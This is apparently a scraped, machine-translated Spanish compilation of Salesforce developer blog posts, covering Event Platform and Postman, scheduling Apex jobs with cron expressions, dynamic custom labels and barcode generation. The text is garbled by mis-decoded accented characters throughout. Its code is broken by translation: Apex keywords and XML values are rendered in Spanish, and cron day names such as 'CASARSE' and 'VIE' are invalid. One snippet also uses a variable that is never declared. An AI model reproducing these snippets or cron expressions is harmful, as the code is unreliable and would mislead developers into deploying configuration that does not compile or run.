<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la API de la plataforma de eventos con la colecci贸n extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de informaci贸n y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integraci贸n disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicaci贸n, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colecci贸n de API de la plataforma de Salesforce en Postman. Tambi茅n aprender谩 c贸mo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicaci贸n dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con c贸digo personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma est谩ndar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom谩ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est谩 vinculado a un objeto de Salesforce est谩ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selecci贸n de dos tecnolog铆as de transmisi贸n: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP m谩s moderna . Independientemente de la tecnolog铆a o el tipo de evento, publica o se suscribe a eventos a trav茅s de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisi贸n. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Despu茅s de suscribirse a este canal, recibir谩 notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est谩ndar.

Adem谩s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se env铆an en un canal personalizado. Por ejemplo, podr铆a crear un canal espec铆fico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el pa铆s de facturaci贸n es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el c贸digo del lado del cliente, pero tambi茅n ayuda a evitar los l铆mites m谩ximos de suscriptores simult谩neos .

Los canales personalizados de Change Data Capture tambi茅n otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimizaci贸n puede ser problem谩tica en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasar谩n en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se env铆an a Amazon EventBridge a trav茅s de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS tambi茅n pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicaci贸n de Event Relay para obtener m谩s informaci贸n.

Antes del lanzamiento de Summer '23, Event Relay solo se pod铆a configurar a trav茅s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci贸n. La 煤nica pieza que a煤n necesita crear a trav茅s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colecci贸n Postman

En junio, actualizamos la colecci贸n de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no est谩 familiarizado con Postman o la colecci贸n de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a trav茅s de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuraci贸n de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creaci贸n, lectura, actualizaci贸n y eliminaci贸n (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las 煤nicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est谩 disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicaci贸n. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuraci贸n de retransmisi贸n de eventos

La carpeta Configuraci贸n de retransmisi贸n de eventos es donde se encuentran la mayor铆a de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci贸n de Event Relay
  • Comentarios de retransmisi贸n de eventos de consultor铆a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son 煤tiles para recuperar los campos de los eventos.

Lo que nos depara la colecci贸n Postman

Invertimos continuamente en nuestra colecci贸n de API de plataforma y buscamos agregar soporte para la suscripci贸n a eventos de la API Pub Sub. CometD no ser谩 compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a帽o pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga 煤til, ya que est谩 comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter铆stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas 煤tiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci贸n general de Event Platform y las 煤ltimas incorporaciones a la colecci贸n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r谩pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, h谩ganoslo saber. Tambi茅n puede echar un vistazo a nuestras otras colecciones de c贸digo abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Dominar el arte de programar clases por lotes en Apex

Dominar el arte de programar clases por lotes en Apex

脷ltima actualizaci贸n el 15 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede utilizar el m茅todo System.schedule() para programar un trabajo de Apex Batch?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Configurar trabajo programado a trav茅s de la configuraci贸n de Salesforce
  • Comprender la funci贸n y el significado del m茅todo System.schedule().
  • Aprenda paso a paso c贸mo programar un trabajo de Apex Batch utilizando el m茅todo System.schedule().
  • Explore ejemplos pr谩cticos y casos de uso donde se puede implementar el m茅todo System.schedule().
  • y mucho m谩s

馃憠 En el pasado escrib铆 algunos art铆culos sobre Apex . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Calcular la cobertura general del c贸digo en Salesforce
  2. Comprobar si una cadena es nula, vac铆a o en blanco en Apex
  3. Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). Aunque es relativamente nueva en la programaci贸n de Apex, est谩 ansiosa por explorar diferentes m茅todos para programar clases por lotes en Salesforce y ampliar su conocimiento en esta 谩rea.

驴Qu茅 es un trabajo programado?

En Salesforce, un trabajo programado se refiere a una funci贸n que permite a los administradores y desarrolladores programar la ejecuci贸n autom谩tica de clases de Batch en momentos o intervalos espec铆ficos.

Los trabajos programados en Salesforce generalmente se usan para realizar varias acciones, como actualizaciones de datos, procesamiento de registros, env铆o de notificaciones por correo electr贸nico, generaci贸n de archivos PDF e integraci贸n con sistemas externos. Pueden ser particularmente 煤tiles para tareas que deben realizarse a intervalos regulares, como por hora, d铆a, semana o mes.

馃憠 Para programar una clase de Apex para que se ejecute a intervalos regulares, primero escriba una clase de Apex que implemente la interfaz Schedulable proporcionada por Salesforce.


la clase global ScheduleAccountSync implementa Programable { ejecuci贸n de vac铆o global (Contexto programable SC) { AccounSync ASync = new AccounSync(); }
}

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Para crear un trabajo programado en Salesforce, puede usar Apex Scheduler a trav茅s de la configuraci贸n de Salesforce o el m茅todo System.schedule desde Developer Console (Ejecutar an贸nimo).

Programar trabajos con el programador de Apex

Salesforce Apex Scheduler es una funci贸n de la plataforma de Salesforce que le permite programar la ejecuci贸n de clases de Apex que implementa la interfaz programable en momentos espec铆ficos, como diario, semanal o mensual.
Para programar una clase con Apex Scheduler, siga los pasos que se describen a continuaci贸n:
  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Clases de Apex .
  3. Seleccione Clases de Apex y luego haga clic en Programar Apex .
  4. Ingrese la siguiente informacion:
    1. Nombre : Sincronizar cuenta con SAP
    2. Clase de Apex : ScheduleAccountSync
    3. Frecuencia : Para configurar como un trabajo diario, elija la opci贸n Semanal y luego seleccione todos los d铆as de la semana.
    4. Inicio : la fecha y la hora en que comenz贸 la iteraci贸n m谩s reciente del trabajo programado.
    5. Fin : la fecha y la hora en que el trabajo termin贸 o terminar谩.
    6. Hora de inicio preferida : la fecha y la hora en que est谩 programada la ejecuci贸n del trabajo
  5. Haga clic en Guardar .

馃憠 Puede monitorear el progreso del trabajo en la p谩gina Todos los trabajos programados .

Una limitaci贸n clave de Apex Scheduler radica en su incapacidad para ejecutar una tarea cada pocos minutos, cada seis horas o en d铆as espec铆ficos, como el primer lunes o el 煤ltimo d铆a h谩bil del mes. Para abordar esto, podemos utilizar el m茅todo System.schedule a trav茅s de la consola del desarrollador, que permite escenarios de programaci贸n m谩s complejos.

Programar trabajos usando el m茅todo System.Schedule

Cuando una clase se implementa con la interfaz Schedulable , se puede usar el m茅todo System.schedule para ejecutarla. En particular, el programador opera a nivel del sistema, lo que garantiza que todas las clases se ejecuten independientemente de los permisos de los usuarios individuales.

El m茅todo System.schedule toma tres par谩metros: el nombre del trabajo, una expresi贸n que indica la hora y la fecha programadas para la ejecuci贸n del trabajo y el nombre de la clase. La estructura de la expresi贸n cron es la siguiente:


Segundos Minutos Horas D铆a_de_mes Mes D铆a_de_semana Opcional_a帽o

Los siguientes son los valores de la expresi贸n:

Nombre Valores Caracteres especiales
Segundos 0鈥59 Ninguno
Minutos 0鈥59 Ninguno
Horas 0鈥23 , 鈥 * /
Dia del mes 1鈥31 , 鈥 * ? / LW
Mes 1鈥12 o lo siguiente:

  • ENE
  • FEB
  • MAR
  • ABR
  • PUEDE
  • JUN
  • JUL
  • AGO
  • SEP
  • OCT
  • NOV
  • DIC
, 鈥 * /
D铆a de la semana 1鈥7 o lo siguiente:

  • SOL
  • LUN
  • MAR
  • CASARSE
  • JUE
  • VIE
  • SE SENT脫
, 鈥 * ? / L #
a帽o_opcional nulo o 1970鈥2099 , 鈥 * /

Lea esta gu铆a para desarrolladores de Salesforce para obtener m谩s informaci贸n sobre el m茅todo System.Schedule. No es posible actualizar los trabajos programados. Debe eliminar el trabajo existente y luego programarlo nuevamente.

Por ejemplo, si desea ejecutar la clase de Apex ScheduledAccountSync cada hora, espec铆ficamente cinco minutos despu茅s de cada hora, ejecute la siguiente declaraci贸n a trav茅s de Ejecutar de forma an贸nima en Developer Console.


System.schedule('AccountSyncJob', '0 5 * * * ?', new ScheduleAccountSync());
//AccountSyncJob = Nombre del trabajo
//0 5 * * * ? = Expresi贸n cron
//ScheduleAccountSync = Clase de Apex con interfaz programable

Tambi茅n puede usar CronMaker , una aplicaci贸n simple que lo ayuda a crear expresiones cron para su escenario.

Aqu铆 hay varios ejemplos que ilustran c贸mo utilizar la expresi贸n cron.

Programe un trabajo para ejecutar cada seis horas de lunes a viernes

Para programar un trabajo para que se ejecute cada seis horas de lunes a viernes, ejecute la siguiente expresi贸n cron:


System.schedule('AccountSyncJobWeekDayPerSixHour', '0 0 0,6,12,18 ? * MON-FRI', new ScheduleAccountSync());

Programar un trabajo para que se ejecute cada cuatro horas diariamente

Para programar un trabajo para que se ejecute cada cuatro horas diariamente, ejecute la siguiente expresi贸n cron:


System.schedule('AccountSyncJobEveryFourHour', '0 0 0/4 * * ? *', new ScheduleAccountSync());

Programe un trabajo que se ejecute cada hora diariamente

Para programar un trabajo que se ejecuta cada hora a lo largo de cada d铆a, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobEveryHour', '0 0 0/1 * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada 30 minutos diariamente

Para programar un trabajo que se ejecuta cada media hora todos los d铆as, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob0', '0 0 * * * ? *', new ScheduleAccountSync());
System.schedule('AccountSyncJob30', '0 30 * * * ? *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute una vez al d铆a a las 10:00 p. m.

Para programar un trabajo que se ejecute una vez al d铆a a las 22:00, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobOnceInADay', '0 0 22 * * ?', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes y el s谩bado a las 11:00 p. m.

Para programar un trabajo que se ejecute los viernes y s谩bados a las 11:00 p. m., utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobVie-Sat', '0 0 23 ? * FRI,SAT *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el viernes a las 11:00 p. m.

Para programar un trabajo que se ejecute el viernes a las 11:00 a. m., utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJobFriOnly', '0 0 23 ? * VIE *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer d铆a de cada a帽o a la 01:00 a. m.

Para programar un trabajo que se ejecuta el primer d铆a de cada a帽o, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-1er d铆a del a帽o', '0 0 1 1 1 ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el 煤ltimo d铆a de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el 煤ltimo d铆a de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-脷ltimo d铆a del mes', '0 0 1 L * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el 煤ltimo viernes de cada mes a la 01:00 a. m.

Para programar un trabajo que se ejecute el 煤ltimo viernes de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-Last Friday', '0 0 1 ? * 6L *', new ScheduleAccountSync());

Programe un trabajo para que se ejecute cada d铆a 15 del mes a las 12:01 a. m.

Para programar un trabajo que se ejecute cada d铆a 15 del mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-Every 15th', '0 1 0 15 * ? *', new ScheduleAccountSync());

Programe un trabajo para ejecutar el primer y tercer domingo de cada mes a las 2:00 a. m.

Para programar un trabajo que se ejecute el primer y tercer domingo de cada mes, utilice la siguiente expresi贸n cron:


System.schedule('AccountSyncJob-1st Sunday', '0 0 2 ? 1/1 SUN#1 *', new ScheduleAccountSync());
System.schedule('AccountSyncJob-3rd Sunday', '0 0 2 ? 1/1 SUN#3 *', new ScheduleAccountSync());

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Acceda din谩micamente a etiquetas personalizadas en Apex

脷ltima actualizaci贸n el 23 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo acceder din谩micamente a la etiqueta personalizada en Apex?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Acceda a la etiqueta personalizada en Apex din谩micamente
  • Acceda a la etiqueta personalizada en Apex de forma din谩mica para un idioma
  • y mucho m谩s

Ben Halpern es un desarrollador Jr. de Salesforce en Gurukul On Cloud (GoC) . Ben est谩 escribiendo c贸digo Apex para una historia de usuario que requiere obtener la siguiente etiqueta personalizada en alem谩n e hindi.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Despu茅s del lanzamiento de S ummer'23 , puede usar el m茅todo System.Label.get(namespace, label, language) para obtener una etiqueta personalizada, especificando opcionalmente un idioma . La funci贸n ahora permite la resoluci贸n din谩mica de nombres de etiquetas en tiempo de ejecuci贸n, incluida la anulaci贸n del idioma actual del usuario si existe una traducci贸n para el idioma solicitado.

Tambi茅n puede comprobar si existe una traducci贸n para una etiqueta y un idioma en un espacio de nombres mediante Label.translationExists(namespace, label, language) . No puede acceder a las etiquetas que est谩n protegidas en un espacio de nombres diferente.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Ben usando Apex y Custom Label . Debemos:

  1. Configuraci贸n del banco de trabajo de traducci贸n
  2. Crear etiquetas personalizadas
  3. Script de Apex para acceder din谩micamente a etiquetas personalizadas

Paso 1: configurar el banco de trabajo de traducci贸n

Este paso es opcional; sin embargo, debemos asegurarnos de que el banco de trabajo de traducci贸n est茅 configurado correctamente para los requisitos actuales. Lea este art铆culo de ayuda para obtener instrucciones paso a paso.

Aseg煤rese de agregar idiomas para la traducci贸n, asignar traductores para cada idioma y activar o desactivar las traducciones de un idioma. Agregar茅 mi cuenta de usuario a hindi y alem谩n para el caso de uso comercial actual.

Paso 2: crea etiquetas personalizadas

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Etiquetas personalizadas .
  3. Seleccione Etiquetas personalizadas y luego haga clic en Nueva etiqueta personalizada .
    1. Cree la etiqueta personalizada como se muestra en la siguiente captura de pantalla:
  4. Haga clic en Ejecutar .

Paso 2: Script de Apex para acceder din谩micamente a etiquetas personalizadas

  1. Haga clic en Configuraci贸n | Consola de desarrollador .  
  2. Usar茅 la herramienta Ejecutar Apex an贸nimo en Developer Console para ejecutar el c贸digo Apex.
    1. Un bloque an贸nimo es un c贸digo Apex que no se almacena en los metadatos, pero se puede compilar y ejecutar. Los bloques an贸nimos se ejecutan como el usuario actual y pueden fallar al compilarse si el c贸digo viola los permisos de objeto y de nivel de campo del usuario.
  3. Para abrir la ventana Ejecutar an贸nimo, haga clic en Depurar | Abra la ventana Ejecutar an贸nimo .
     String choiceInEnglish = System.Label.get('rakeshistomMVP','PreferredFoodChoice','');
    system.debug('Valor original-'+choiceInEnglish); String choiceInHindi = System.Label.get('rakeshistomMVP','PreferredFoodChoice','hi');
    system.debug('Hindi Value-'+choiceInHindi); String choiceInGerman = System.Label.get('rakeshistomMVP','PreferredFoodChoice','de');
    system.debug('Valor alem谩n-'+elecci贸nEnAlem谩n);
Seguir leyendo

Generar c贸digo de barras y c贸digo QR en Salesforce

Generar c贸digo de barras y c贸digo QR en Salesforce

脷ltima actualizaci贸n el 12 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo generar c贸digo de barras y c贸digo QR en Salesforce?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Comprender la diferencia entre c贸digo de barras y c贸digo QR
  • Beneficios de usar C贸digo de Barras y C贸digo QR
  • Genere un c贸digo de barras y mu茅strelo en un campo
  • Cargar el c贸digo de barras en el archivo de Salesforce y asociarlo con el producto
  • y mucho m谩s

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC) . Mientras trabajaba en la implementaci贸n de Sales Cloud, obtuvo el requisito de generar c贸digos de barras. A continuaci贸n se detalla el requisito:

  1. Generar un c贸digo de barras para el c贸digo del producto
  2. Mostrar el c贸digo de barras en la p谩gina de detalles del producto
  3. Adjunte autom谩ticamente el c贸digo de barras a la lista relacionada con el archivo en el producto.

驴Qu茅 son el c贸digo de barras y el c贸digo QR?

Un c贸digo de barras y un c贸digo QR son tipos de c贸digos legibles por m谩quina que se utilizan para almacenar y recuperar informaci贸n.

Un c贸digo de barras es una imagen cuadrada o rectangular compuesta de l铆neas paralelas negras y espacios en blanco. Se utiliza en tiendas para rastrear el inventario de productos, en hospitales para rastrear registros de pacientes y en el rastreo de equipaje de aerol铆neas, etc.

Un c贸digo de respuesta r谩pida, tambi茅n conocido como c贸digo QR, es un tipo de c贸digo de barras que incluye detalles legibles por m谩quina sobre el elemento al que est谩 adjunto. Se utiliza para compartir datos como videos, fotos, URL web, contactos, etc.

La distinci贸n principal entre un c贸digo de barras y un c贸digo QR es que un c贸digo de barras solo puede almacenar datos en una dimensi贸n, mientras que un c贸digo QR puede almacenar datos en dos dimensiones.

驴Beneficios de usar c贸digo de barras y c贸digo QR?

El c贸digo de barras y el c贸digo QR brindan varias ventajas en el proceso de ventas, incluida una precisi贸n mejorada, disponibilidad de fecha inmediata, implicaciones de bajo costo y mejor control de inventario. Beneficios de usar c贸digos de barras y c贸digos QR:

  1. Entrada de datos eficiente : los c贸digos de barras y los c贸digos QR eliminan la necesidad de la entrada manual de datos, lo que reduce los errores y aumenta la eficiencia.
  2. Gesti贸n de inventario : ayudan a agilizar el seguimiento y la gesti贸n del inventario al proporcionar informaci贸n precisa y en tiempo real.
  3. Transacciones m谩s r谩pidas : escanear c贸digos de barras y c贸digos QR acelera las transacciones en el punto de venta, lo que reduce los tiempos de espera.
  4. F谩cil implementaci贸n : los c贸digos de barras y los c贸digos QR se pueden generar e imprimir f谩cilmente, y su escaneo se puede realizar con tel茅fonos inteligentes est谩ndar o esc谩neres dedicados.
  5. Oportunidades de marketing mejoradas : los c贸digos QR, en particular, se pueden usar para atraer a los clientes con contenido interactivo, promociones y anuncios.

驴C贸mo generar c贸digo de barras y c贸digo QR?

Para generar un c贸digo de barras, puede utilizar varios generadores de c贸digos de barras en l铆nea o bibliotecas de programaci贸n que ofrecen funcionalidades de creaci贸n de c贸digos de barras.

En este art铆culo usaremos la API de c贸digo de barras bwip-js . La API en l铆nea de bwip-js est谩 alojada en una instancia Amazon AWS EC2 mediante una aplicaci贸n node.js. Puede usar esta API para generar din谩micamente im谩genes de c贸digos de barras desde cualquier lugar de la web. La imagen devuelta est谩 en formato PNG. No hay cargos por usar esta API y no pude encontrar ning煤n l铆mite de uso.

Los dos par谩metros requeridos son el tipo de c贸digo de barras y el valor a codificar. Tambi茅n puede agregar par谩metros adicionales para rotar (permite rotar la imagen a una de las cuatro orientaciones ortogonales) e incluir texto .

Pr谩ctica guiada (nosotros hacemos):

Realice los pasos a continuaci贸n para generar un c贸digo de barras para el c贸digo del producto:

Paso 1: cree un campo de f贸rmula personalizada en el producto para generar y mostrar un c贸digo de barras

Ahora generaremos la imagen del c贸digo de barras usando un generador de c贸digo de barras bwip-js y mostraremos la imagen en un campo de f贸rmula usando la etiqueta de imagen.

  1. Haga clic en Configuraci贸n .
  2. En el Administrador de objetos, escriba Producto .
  3. Seleccione Campos y relaciones , luego haga clic en Nuevo .
  4. Seleccione F贸rmula como Tipo de datos, luego haga clic en Siguiente.
  5. Ingrese la etiqueta del campo : c贸digo de barras (c贸digo del producto) y haga clic en la tecla de tabulaci贸n, se completar谩 el nombre del campo .
    1. Tipo de devoluci贸n de f贸rmula : Texto
  6. Haga clic en el bot贸n Siguiente .
    1. URL de la f贸rmula : IMAGEN(鈥 https://bwipjs-api.metafloor.com/?bcid=code39&text=鈥+ ProductCode +鈥&scale=2&rotate=N&includetext&backgroundcolor=ffffff鈥,鈥滲arcode鈥)
  7. Establezca la seguridad a nivel de campo para los perfiles .
  8. Agregue este campo a Dise帽o de p谩gina .
  9. Haga clic en Guardar .

Paso 2: asociar la imagen del c贸digo de barras al archivo de Salesforce

Ahora ya sabe c贸mo generar la imagen del c贸digo de barras sin ning煤n c贸digo. El siguiente paso es cargar la imagen del c贸digo de barras en el archivo de Salesforce para generar o imprimir un PDF.

  1. La imagen devuelta de la API de c贸digo de barras bwip-js est谩 en formato PNG. Necesitamos un c贸digo apex para recuperar el cuerpo de esta solicitud como un blob.
     Solicitud HttpRequest = new HttpRequest();
    solicitud.setEndpoint(r.imagenURL);
    solicitud.setMethod('GET');
    Enlace Http = nuevo Http();
    Respuesta HttpResponse = vinculante. enviar (solicitud);
    Imagen de blob = respuesta.getBodyAsBlob();
Seguir leyendo

Use la API REST de Tableau con Postman para dise帽ar integraciones 鈽侊笍

Use la API REST de Tableau con Postman para dise帽ar integraciones 鈽侊笍

La pr贸xima vez que quiera hacer algo con Tableau, pero no pueda encontrar la manera con la interfaz de usuario, vaya a su confiable Postman Collection y pruebe algunos m茅todos a trav茅s de la API REST de Tableau.

La publicaci贸n Usar la API REST de Tableau con Postman para dise帽ar integraciones apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Mejore el rendimiento del c贸digo con el analizador de c贸digo de Salesforce 鈽侊笍

Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su c贸digo en la 煤ltima versi贸n 3.9 de Code Analyzer.

La publicaci贸n Aumente el rendimiento del c贸digo con Salesforce Code Analyzer apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Transmita eventos a escala con filtros de eventos y enriquecimiento de campo 鈽侊笍

Escale su uso de eventos de plataforma y eventos de captura de datos modificados con filtros de eventos y enriquecimiento de campos. Pero primero, un repaso sobre los eventos de transmisi贸n.

La publicaci贸n Transmisi贸n de eventos a escala con filtros de eventos y enriquecimiento de campos apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

隆Lanzamiento Spring'23 de las diez gemas principales de Salesforce Lightning Experience!

脷ltima actualizaci贸n el 9 de enero de 2023 por Rakesh Gupta Con cada lanzamiento, Salesforce agrega muchas funcionalidades nuevas a Lightning Experience, lo que lo hace m谩s productivo y lo ayuda a brindar una mejor experiencia al cliente. Actualmente, el lanzamiento de Spring'23 se encuentra bajo el programa de prelanzamiento. Si no has le铆do el 570 completo

La publicaci贸n 隆Lanzamiento Spring'23 de las diez mejores gemas de Salesforce Lightning Experience! apareci贸 primero en Automation Champion .

Seguir leyendo

C贸mo generar documentos en airSlate para Salesforce

脷ltima actualizaci贸n el 27 de diciembre de 2022 por Rakesh Gupta La integraci贸n nativa de airSlate con Salesforce aborda las tareas m谩s desafiantes para las empresas que buscan automatizar sus flujos de trabajo de documentos dentro de su organizaci贸n de Salesforce. Permite crear flujos de trabajo integrales, de varios pasos y de varias sucursales dentro de Salesforce para automatizar la generaci贸n de documentos, el enrutamiento, las aprobaciones, las notificaciones y

La publicaci贸n C贸mo generar documentos en airSlate para Salesforce apareci贸 primero en Automation Champion .

Seguir leyendo

Una experiencia de desarrollador completa en Heroku, funciones de Salesforce y AWS 鈽侊笍

En Salesforce, la innovaci贸n es uno de nuestros valores fundamentales. Con eso en mente, nos comprometemos a innovar en las tecnolog铆as de la plataforma Salesforce, como Heroku y Salesforce Functions, as铆 como a trav茅s de nuestra asociaci贸n con AWS, para unificar y mejorar la experiencia del desarrollador. En esta publicaci贸n de blog, le brindamos una descripci贸n general de nuestras actualizaciones recientes, nuestro [鈥

La publicaci贸n Una experiencia de desarrollador completa en Heroku, Salesforce Functions y AWS apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Desarrolle c贸digo a煤n m谩s seguro con Salesforce Code Analyzer 鈽侊笍

Es dif铆cil de creer, pero han pasado dos a帽os desde que compartimos el lanzamiento 2.0 de nuestra herramienta de seguridad y calidad de c贸digo interna y de c贸digo abierto, Salesforce Code Analyzer (originalmente llamado Salesforce CLI Scanner). Ahora estamos listos para lanzar Code Analyzer versi贸n 3.x, que re煤ne varias herramientas de prueba de seguridad de aplicaciones est谩ticas (SAST) de c贸digo abierto para ayudarlo [鈥

